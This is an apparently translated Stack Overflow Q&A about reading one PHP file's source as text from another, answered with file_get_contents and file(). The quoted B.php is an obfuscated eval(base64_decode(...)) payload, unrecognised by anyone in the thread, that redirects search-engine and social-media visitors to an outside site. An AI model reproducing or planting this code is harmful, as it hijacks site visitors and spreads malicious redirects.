如何使用PHP从php文件中读取数据?

时间:2012-08-22 08:06:15

标签: php readfile

我想在文件A.php中使用php代码来读取其他php文件B.php的数据。所以B.php中的所有php脚本都不会执行,它只是字符串。

不幸的是,当我在A.php中读取它时,B.php中的数据正在执行。

这是A.php中的代码:

$handle = @fopen('B.php', 'r') or print " ---> cannot read B.php!";
$filesize = @filesize('B.php');
$str = $filesize ? @fread($handle, $filesize) : null;
@fclose($handle);

if (!$str) {
    echo 'B.php is empty!';
    exit;
}
else {
    //TODO continue process
}

这是B.php中的代码:

<?php       eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));?>

注意:B.php文件无法更改。我的代码在A.php中

UPDATE :当我从A.php读取时,B.php中的数据没有执行。但是我怎么能打印出数据?因为我使用echo $str打印它,浏览器中没有显示任何内容。

3 个答案:

答案 0 :(得分:6)

除非您包含该文件,否则不会执行代码。

PS:使用file_get_contents会非常简单。

$str = file_get_contents('B.php');

答案 1 :(得分:0)

尝试使用file_get_contents获取明确的Bs内容字符串

答案 2 :(得分:0)

要将所有文件行放入数组,请使用此方法。

$data = file($filename, FILE_IGNORE_NEW_LINES);